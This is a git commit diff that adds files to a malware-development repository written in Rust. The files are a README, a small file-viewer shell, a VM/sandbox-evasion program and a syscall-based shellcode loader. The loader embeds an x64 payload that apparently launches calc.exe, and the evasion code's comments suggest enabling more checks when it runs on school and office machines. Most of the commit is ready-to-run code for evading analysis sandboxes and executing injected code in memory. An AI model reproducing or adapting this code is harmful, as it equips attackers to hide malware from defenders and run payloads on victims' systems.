Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Add files via upload

Abdul Wahab Junaid70ad95fdc4d6
diff --git a/Rust for Hacking/README.md b/Rust for Hacking/README.md
new file mode 100644
index 0000000..659ff31
--- /dev/null
+++ b/Rust for Hacking/README.md
@@ -0,0 +1,58 @@
+<div align="center">
+ <img width="260px" src="https://github.com/Whitecat18/Rust-for-Malware-Development/assets/96696929/08dcf469-a502-450c-ab94-3915fd4b9968" />
+
+ <a href = "https://github.com/Whitecat18/Rust-for-Malware-Development.git" ><h3>Rust for Malware Development</h3></a>
+
+ <b>This repository contains source codes of various techniques used by real-world malware authors, red teamers, threat actors, state-sponsored hacking groups etc. These techniques are well-researched and implemented in Rust.</b>
+ <br>
+ <br>
+ Repository managed by <a href="https://twitter.com/5mukx"> @5mukx</a></i></p>
+ <br>
+
+ <img src="https://img.shields.io/badge/Language-Rust-orange">
+ <img src="https://img.shields.io/badge/OS-Windows%20%26%20Linux-blue">
+ <img src="https://img.shields.io/badge/Maintained-Yes-Green">
+
+-----------------
+
+</div>
+
+> Note: These are my own research and implementations, derived from the original authors' work. If you discover any errors in these codes, please [contact](https://x.com/5mukx) or contribute to this repository.
+
+## Basics
+
+To Learn Rust -> [Rust Book](https://doc.rust-lang.org/book/)
+
+Windows API [old]-(winapi)-> [WinAPI](https://docs.rs/winapi/latest/winapi/)
+
+Windows API (by Official Microsoft) -> [WinAPI](https://docs.rs/crate/windows/latest)
+
+ntapi Crate -> [NtAPI](https://docs.rs/ntapi/latest/ntapi/)
+
+Windows Internels -> [Link](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)
+
+RedTeam Notes -> [Link](https://www.ired.team/)
+
+## Manifest dependencies for [winapi](https://docs.rs/winapi/latest/winapi/) to test and execute
+
+**Copy the dependencics in Cargo.toml file**
+
+```
+[dependencies]
+winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
+
+ntapi = "0.4.1"
+user32-sys = "0.2.0"
+```
+
+> Tips for Rust Beginners: Copy and save the dependencies in Cargo.toml File. Versions may be different. Just copy the features when testing.
+
+
+## Rust Malware Blogs regarding this Repostitory
+
+* [Malware Development Essentials Part 1](https://medium.com/system-weakness/malware-development-essentials-part-1-5f4626652ed9)
+
+* [Rust for CyberSecurity and Red Teaming](https://infosecwriteups.com/rust-for-cyber-security-and-red-teaming-275595d3fdec)
+
+* [DLL Injection using Rust](https://smukx.medium.com/dll-injection-using-rust-593b83734c90)
+
diff --git a/Rust for Hacking/copy.rs b/Rust for Hacking/copy.rs
new file mode 100644
index 0000000..7af6fa0
--- /dev/null
+++ b/Rust for Hacking/copy.rs
@@ -0,0 +1,132 @@
+// Simple Program to look and copy the programs .. !
+// @5mukx ..!
+
+use std::io::{self, Error, Write};
+
+use std::fs;
+use std::path::Path;
+use std::process::Command;
+use clipboard::{ClipboardContext, ClipboardProvider};
+use walkdir::WalkDir;
+
+
+fn main(){
+ println!("Welcome to the Maldev Mini Shell (MMS) ;)");
+ println!("Type 'help' for list of commands, exit to exit the program");
+
+ loop{
+ print!("Smx > ");
+ io::stdout().flush().unwrap();
+ let mut input = String::new();
+ io::stdin().read_line(&mut input).expect("Failed to read the input");
+ let mut parts = input.trim().splitn(2, ' ');
+
+ let command = parts.next().unwrap();
+ let argument = parts.next().unwrap_or("");
+
+ match command{
+ "help" =>{
+ println!("Avaiable Commands:");
+ println!(" help - Display the help message");
+ println!(" list - List all the files in the current directory");
+ println!(" clear - Clear the Screen");
+ println!(" look <filename> - Look at the content of the Program");
+ println!(" copy <filename> - Copy the content of the Program");
+ println!(" exit - Exit the Program");
+ }
+
+ "look" => {
+ look_file_content(argument);
+ }
+ "copy" => {
+ copy_file_to_clipboard(argument);
+ }
+ "list" => {
+ list_files_tree();
+ }
+ "clear" => {
+ clear();
+ }
+ "exit" => {
+ println!("Exiting program...");
+ break;
+ }
+ _ => {
+ println!("Invalid command. Type 'help' for a list of commands.");
+ }
+ }
+ }
+}
+
+
+fn look_file_content(file_name: &str) {
+ if let Some(content) = read_file_content(file_name) {
+ println!("Content of '{}':\n{}", file_name, content);
+ }
+}
+
+fn copy_file_to_clipboard(file_name: &str) {
+ if let Some(content) = read_file_content(file_name) {
+ match copy_to_clipboard(&content) {
+ Ok(_) => println!("Content copied to clipboard successfully!"),
+ Err(_) => eprintln!("Error: Failed to copy content to clipboard"),
+ }
+ }
+}
+
+fn read_file_content(file_name: &str) -> Option<String> {
+ let current_dir = match std::env::current_dir() {
+ Ok(dir) => dir,
+ Err(_) => {
+ eprintln!("Error: Failed to get current directory");
+ return None;
+ }
+ };
+
+ let file_path = current_dir.join(file_name);
+ if let Ok(content) = fs::read_to_string(&file_path) {
+ Some(content)
+ } else {
+ eprintln!("Error: Failed to read file '{}'", file_path.display());
+ None
+ }
+}
+
+fn copy_to_clipboard(content: &str) -> Result<(), Error> {
+ let mut ctx = ClipboardContext::new().expect("Error");
+ let _ = ctx.set_contents(content.to_owned());
+ Ok(())
+}
+
+fn list_files_tree() {
+ let current_dir = match std::env::current_dir() {
+ Ok(dir) => dir,
+ Err(_) => {
+ eprintln!("Error: Failed to get current directory");
+ return;
+ }
+ };
+
+ println!("Files in current directory (tree view):");
+ list_files_recursively(&current_dir, 0);
+}
+
+fn list_files_recursively(dir: &Path, level: usize) {
+ for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) {
+ let file_name = entry.file_name().to_string_lossy();
+ let indentation = " ".repeat(level);
+ if entry.file_type().is_dir() {
+ println!("{}{} [Directory]", indentation, file_name);
+ } else {
+ println!("{}{}", indentation, file_name);
+ }
+ }
+}
+
+fn clear(){
+ if cfg!(target_os = "windows"){
+ Command::new("cmd").arg("/c").arg("cls").status().unwrap();
+ } else{
+ Command::new("sh").arg("-c").arg("clear").status().unwrap();
+ }
+}
diff --git a/Rust for Hacking/evade_vm.rs b/Rust for Hacking/evade_vm.rs
new file mode 100644
index 0000000..1da6d70
--- /dev/null
+++ b/Rust for Hacking/evade_vm.rs
@@ -0,0 +1,344 @@
+/*
+ Anti-Virtualization / Full-System Emulation
+ For More Malware POC: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used: https://github.com/LordNoteworthy/al-khaser
+ By @5mukx
+*/
+
+
+/*
+
+Note:
+ [Dev Machine] -> Installed VM's Softwares and some development tools for malware testing.
+ I have comment out some code due to testing purpose. If you execute this code on development machines[Dev Machine] , ofcouse its gonna result out
+ {Machine Running in Vitrualmachine}. So to avoid testing, i have commented out some codes with // sus // tag.
+
+ If you are executing this on normal machines such as schools and office computers, means you can uncomment codes that was tagged with -> // sus //
+
+ [+] This is an All in one resource gathered together and coded..
+ If you want to exec even more fast 1.1 to 0.2 secs.
+ Reduce the content of the program or artifacts and keep up the main one for
+*/
+
+
+use std::process::Command;
+use std::fs;
+use raw_cpuid::CpuId;
+
+macro_rules! okey {
+ ($msg:expr) => {
+
+ println!("\n----[+]\\ {} //[+]----\n",format!($msg));
+ }
+}
+
+macro_rules! error {
+ ($msg:expr) => {
+ println!("\n----[-]\\ {} //[-]----\n\n", format!($msg));
+ }
+}
+
+fn main(){
+ let vm_detect = check_vm();
+ if vm_detect{
+ error!("VM Detected. Malware Running in sandbox"); // bruh... ;(
+ }else{
+ okey!("Malware Runnung on main Machine"); // Yayy .. ;)
+ }
+}
+
+fn check_vm() -> bool{
+
+ //##=> Registry key value artifacts
+
+ let registry_keys_value_artifacts = vec![
+ // (r#"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"#, "",""), // Example test case to see if this reg key attri wokrs ! Dont uncomment this !
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
+ (r#"HKLM\SOFTWARE\VMware, Inc.\VMware Tools"#, "", ""),
+ (r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VMWARE"),
+ (r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VBOX"),
+ (r#"HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"#, "", ""),
+ (r#"HKLM\HARDWARE\ACPI\DSDT\VBOX__"#, "", ""),
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VBOX"),
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "QEMU"),
+ (r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VBOX"),
+ (r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "QEMU"),
+ (r#"HKLM\HARDWARE\Description\System\VideoBiosVersion"#, "", "VIRTUALBOX"),
+ (r#"HKLM\HARDWARE\Description\System\SystemBiosDate"#, "", "06/23/99"),
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
+ (r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
+ (r#"HKLM\SYSTEM\ControlSet001\Control\SystemInformation"#, "SystemManufacturer", "VMWARE"),
+ (r#"HKLM\SYSTEM\ControlSet001\Control\SystemInformation"#, "SystemProductName", "VMWARE"),
+ ];
+
+ let registry_keys_value_artifacts_value = registry_keys_value_artifacts.iter().any(|&(key, value_name, expected_value)| {
+ let key_exists = registry_key_exists(key);
+ let value_matches = registry_value_matches(key, value_name, expected_value);
+ key_exists && value_matches
+ });
+
+ //##==> Registry Keys artifacts
+
+ let registry_keys_artifacts = vec![
+ r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__"#,
+ r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\FADT\VBOX__"#,
+ r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\RSDT\VBOX__"#,
+ r#"HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions"#,
+ r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest"#,
+ r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse"#,
+ r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxService"#,
+ r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxSF"#,
+ r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo"#,
+ r#"HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools"#,
+ r#"HKEY_LOCAL_MACHINE\SOFTWARE\Wine"#,
+ r#"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"#,
+
+ // // Main machines contains this reg key. So uncomment this !
+ // If you are exec it on developer machine means ofcourse the reg contains in it ..
+
+ // r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum"#, // sus //
+ // r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE"#, // sus //
+ // r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SCSI"#, // sus //
+ ];
+
+ let registry_keys_artifacts_value = registry_keys_artifacts.iter().any(|&key| registry_key_exists(key));
+
+ //##==> Checking File System artifacts !
+
+ let file_system_artifacts = vec![
+ r#"C:\Windows\system32\drivers\VBoxMouse.sys"#,
+ r#"C:\Windows\system32\drivers\VBoxGuest.sys"#,
+ r#"C:\Windows\system32\drivers\VBoxSF.sys"#,
+ r#"C:\Windows\system32\drivers\VBoxVideo.sys"#,
+ r#"C:\Windows\system32\vboxdisp.dll"#,
+ r#"C:\Windows\system32\vboxhook.dll"#,
+ r#"C:\Windows\system32\vboxmrxnp.dll"#,
+ r#"C:\Windows\system32\vboxogl.dll"#,
+ r#"C:\Windows\system32\vboxoglarrayspu.dll"#,
+ r#"C:\Windows\system32\vboxoglcrutil.dll"#,
+ r#"C:\Windows\system32\vboxoglerrorspu.dll"#,
+ r#"C:\Windows\system32\vboxoglfeedbackspu.dll"#,
+ r#"C:\Windows\system32\vboxoglpackspu.dll"#,
+ r#"C:\Windows\system32\vboxoglpassthroughspu.dll"#,
+ r#"C:\Windows\system32\vboxservice.exe"#,
+ r#"C:\Windows\system32\vboxtray.exe"#,
+ r#"C:\Windows\system32\VBoxControl.exe"#,
+ r#"C:\Windows\system32\drivers\vmmouse.sys"#,
+ r#"C:\Windows\system32\drivers\vmhgfs.sys"#,
+ r#"C:\Windows\system32\drivers\vm3dmp.sys"#,
+ r#"C:\Windows\system32\drivers\vmhgfs.sys"#,
+ r#"C:\Windows\system32\drivers\vmmemctl.sys"#,
+ r#"C:\Windows\system32\drivers\vmmouse.sys"#,
+ r#"C:\Windows\system32\drivers\vmrawdsk.sys"#,
+ r#"C:\Windows\system32\drivers\vmusbmouse.sys"#,
+
+ // wtf is this -> VMCI.sys is the driver for the VMware Virtual Machine Communication Interface (VMCI).
+ // It's responsible for communication between the host operating system and a virtual machine,
+ // or between two or more virtual machines on the same host
+
+ // So if you are testing with your development machine (vmware installed). This file artifact will contains in the main machine so i commented out it !
+ // IF you did not installed vm's on you dev machine, then you can uncomment this !
+
+ // r#"C:\Windows\system32\drivers\vmci.sys"#, // sus //
+ ];
+
+ let file_system_artifacts_value = file_system_artifacts.iter().any(|&path| file_artifacts(path));
+
+ //##=> Check running process !
+
+ // Fastest Approach ever 0.3 secs
+
+ let all_processes = get_running_processes();
+ let target_processes = vec![
+ "vboxservice.exe",
+ "vboxtray.exe",
+ "vmtoolsd.exe",
+ "vmwaretray.exe",
+ "vmwareuser.exe",
+ "VGAuthService.exe",
+ "vmacthlp.exe",
+ "vmsrvc.exe",
+ "vmusrvc.exe",
+ "prl_cc.exe",
+ "prl_tools.exe",
+ "xenservice.exe",
+ "qemu-ga.exe",
+ ];
+
+ let target_process_value = target_processes.iter()
+ .any(|target_process| process_exists(&all_processes, target_process));
+
+
+
+ //##==> Check Mac Address...!
+
+ // let mac_address = get_mac_address();
+
+ let mac_address = match get_mac_address(){
+ Some(mac) => mac,
+ None => return false,
+ };
+
+ let vm_mac_addresses = vec![
+ vec![0x08, 0x00, 0x27], // VBOX
+ vec![0x00, 0x05, 0x69], // VMWARE
+ vec![0x00, 0x0C, 0x29], // VMWARE
+ vec![0x00, 0x1C, 0x14], // VMWARE
+ vec![0x00, 0x50, 0x56], // VMWARE
+ vec![0x00, 0x1C, 0x42], // Parallels
+ vec![0x00, 0x16, 0x3E], // Xen
+ vec![0x0A, 0x00, 0x27], // Hybrid Analysis
+ ];
+
+ let mac_address_value = match find_matching_pattern(&mac_address, &vm_mac_addresses) {
+ Some(_) => true,
+ None => false,
+ };
+
+ //##==> Check CPU Instructions
+
+ let cpuid = CpuId::new();
+
+ let vm_presence = cpuid.get_feature_info().map_or(false, |info| {
+ info.has_hypervisor()
+ });
+
+
+ let vm_vendor = cpuid.get_vendor_info().map_or(false, |info| {
+ info.as_str().contains("KVMKVMKVM") || // KVM
+ info.as_str().contains("Microsoft Hv") || // Microsoft Hyper-V or Windows Virtual PC
+ info.as_str().contains("VMwareVMware") || // VMware
+ info.as_str().contains("XenVMMXenVMM") || // Xen
+ info.as_str().contains("prl hyperv") || // Parallels
+ info.as_str().contains("VBoxVBoxVBox") // VirtualBox
+ });
+
+ let cpu_vendor_value = vm_presence || vm_vendor;
+
+ //##=> WMI Quaries !! Soon ...!
+
+ registry_keys_value_artifacts_value ||
+ registry_keys_artifacts_value ||
+ file_system_artifacts_value ||
+ target_process_value ||
+ mac_address_value ||
+ cpu_vendor_value
+
+
+}
+
+fn registry_key_exists(key: &str) -> bool {
+ let output = Command::new("reg")
+ .args(&["query", &key])
+ .output()
+ .expect("Failed to execute reg query cmd");
+
+ output.status.success()
+}
+
+// Program to check registry keys with artifacts ..!
+fn registry_value_matches(key: &str, value_name: &str, expected_value: &str) -> bool {
+ let output = Command::new("reg")
+ .args(&["query", &key, "/v", value_name])
+ .output()
+ .expect("Failed to execute reg query cmd");
+
+ if output.status.success() {
+ let stdout = String::from_utf8_lossy(&output.stdout);
+ stdout.contains(expected_value)
+ } else {
+ false
+ }
+}
+
+// Progran to check if file exists !
+fn file_artifacts(path: &str)-> bool{
+ fs::metadata(path).is_ok()
+}
+
+// Programs to check for current running process !
+
+fn get_running_processes() -> Vec<String>{
+ let output = Command::new("wmic")
+ .args(&["process","get","name"])
+ .output()
+ .expect("Failed to execute wmic cmd");
+
+ let output_str = String::from_utf8_lossy(&output.stdout);
+
+ let processes: Vec<String> = output_str
+ .lines()
+ .skip(1)
+ .map(|line| line.trim().to_lowercase())
+ .collect();
+
+ processes
+}
+
+fn process_exists(processes: &[String], target: &str) -> bool {
+ processes.iter().any(|process| process.contains(target))
+}
+
+// Function to find mac addresses
+
+fn get_mac_address() -> Option<Vec<u8>> {
+ let output = Command::new("ipconfig")
+ .args(&["/all"])
+ .output()
+ .expect("Failed to Exec ipconfing");
+
+ let output_str = String::from_utf8_lossy(&output.stdout);
+
+ for line in output_str.lines() {
+ if line.contains("Physical Address") {
+ let parts: Vec<&str> = line.split_whitespace().collect();
+ if parts.len() >= 3 {
+ let mac_address_str = parts[2].replace("-", ":");
+ let mac_bytes: Vec<u8> = mac_address_str.split(":")
+ .map(|s| u8::from_str_radix(s, 16).unwrap_or_default())
+ .collect();
+ return Some(mac_bytes);
+ }
+ }
+ }
+ None
+}
+
+fn find_matching_pattern<'a>(mac_address: &'a Vec<u8>, patterns: &'a Vec<Vec<u8>>) -> Option<&'a Vec<u8>> {
+ for pattern in patterns {
+ if mac_address.starts_with(pattern) {
+ return Some(pattern);
+ }
+ }
+ None
+}
+
+
+// Programs to find thr presence of Specific CPU Instructions !
+// There is an create that will take care of it !!
+// fn check_cpu_instruction(eax_value: u32) -> bool {
+// let eax_value_str = format!("{:#x}", eax_value);
+// let output = Command::new("cpuid")
+// .args(&["-l", &eax_value_str])
+// .output()
+// .expect("Failed to execute cpuid cmd");
+
+// let output_str = String::from_utf8_lossy(&output.stdout);
+// output_str.contains(&eax_value_str)
+// }
+
+// fn detect_vendor_string(vendor_string: &str) -> bool {
+// let output = Command::new("cpuid")
+// .args(&["-s", "0"])
+// .output()
+// .expect("Failed to execute cpuid cmd");
+
+// let output_str = String::from_utf8_lossy(&output.stdout);
+// output_str.contains(vendor_string)
+// }
+
+// Program to use WMI Quaries to retrieve sys info !
+
+// System Firmware tables
+// Get Syetem frimwares => soon !
diff --git a/Rust for Hacking/find.exe b/Rust for Hacking/find.exe
new file mode 100644
index 0000000..5cad1cb
Binary files /dev/null and b/Rust for Hacking/find.exe differ
diff --git a/Rust for Hacking/intro.rs b/Rust for Hacking/intro.rs
new file mode 100644
index 0000000..f4dcf46
--- /dev/null
+++ b/Rust for Hacking/intro.rs
@@ -0,0 +1,15 @@
+use std::env;
+
+const SHIT_PLACE: &str = "Noo i was outside the World. Let me enter world called Malware Development with uwuwuw Rustiii...";
+fn main(){
+ let current_path = env::current_exe().expect(SHIT_PLACE);
+
+ let current_dir = current_path.parent().expect("Noo I coudn't find my World ;( ");
+ let running_path = current_dir.join("Rust-for-Malware-Development");
+
+ if running_path.exists(){
+ println!("Yaayyy. This is my world Where i live with Nerds and Abuse the Binaries ;D");
+ } else {
+ eprintln!("Noo. This is Shit Place. Let me go back to my Heven Place where i should exists?");
+ }
+}
diff --git a/Rust for Hacking/maldev_rust.png b/Rust for Hacking/maldev_rust.png
new file mode 100644
index 0000000..7836418
Binary files /dev/null and b/Rust for Hacking/maldev_rust.png differ
diff --git a/Rust for Hacking/syscalls.rs b/Rust for Hacking/syscalls.rs
new file mode 100644
index 0000000..0b97bab
--- /dev/null
+++ b/Rust for Hacking/syscalls.rs
@@ -0,0 +1,100 @@
+/*
+ Basics Syscalls to Carry out SHellcode Execution ..!
+ For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+use std::{ptr::null_mut, thread::sleep, time::Duration};
+
+use ntapi::{ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory}, ntpsapi::NtCreateThreadEx};
+use winapi::{ctypes::c_void, shared::basetsd::PSIZE_T, um::winnt::THREAD_ALL_ACCESS};
+
+macro_rules! error {
+ ($msg:expr) => {
+ println!("\\_____[-] {}", format!($msg));
+ println!("Exiting ...");
+ }
+}
+
+
+fn main(){
+ let mut shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+ let handle = -1isize as *mut c_void;
+
+ let mut address = null_mut() as *mut c_void;
+
+ let nt_allocate = NtAllocateVirtualMemory(
+ handle,
+ &mut address,
+ 0,
+ &mut shellcode.len(),
+ 0x00001000 | 0x00002000, // MEM_COMMIT | MEM_RESERVE
+ 0x40,
+ );
+
+ if nt_allocate != 0{
+ error!("NtAllocateVirtualMemory Failed");
+ return;
+ }
+
+ let number_of_write: PSIZE_T = null_mut();
+
+ let nt_write = NtWriteVirtualMemory(
+ handle,
+ address,
+ shellcode.as_mut_ptr() as *mut c_void,
+ shellcode.len(),
+ number_of_write,
+ );
+
+ if nt_write != 0 {
+ println!("NtWriteVirtualMemory Failed");
+ return;
+ }
+
+ let mut hthread = null_mut() as *mut c_void;
+
+ let nt_create = NtCreateThreadEx(
+ &mut hthread,
+ THREAD_ALL_ACCESS,
+ null_mut(),
+ handle,
+ address,
+ null_mut(),
+ 0,
+ 0,
+ 0,
+ 0,
+ null_mut(),
+ );
+
+ if nt_create !=0{
+ error!("NtCreateThreadEx Failed");
+ return;
+ }
+ sleep(Duration::from_secs(2));
+ }
+}
+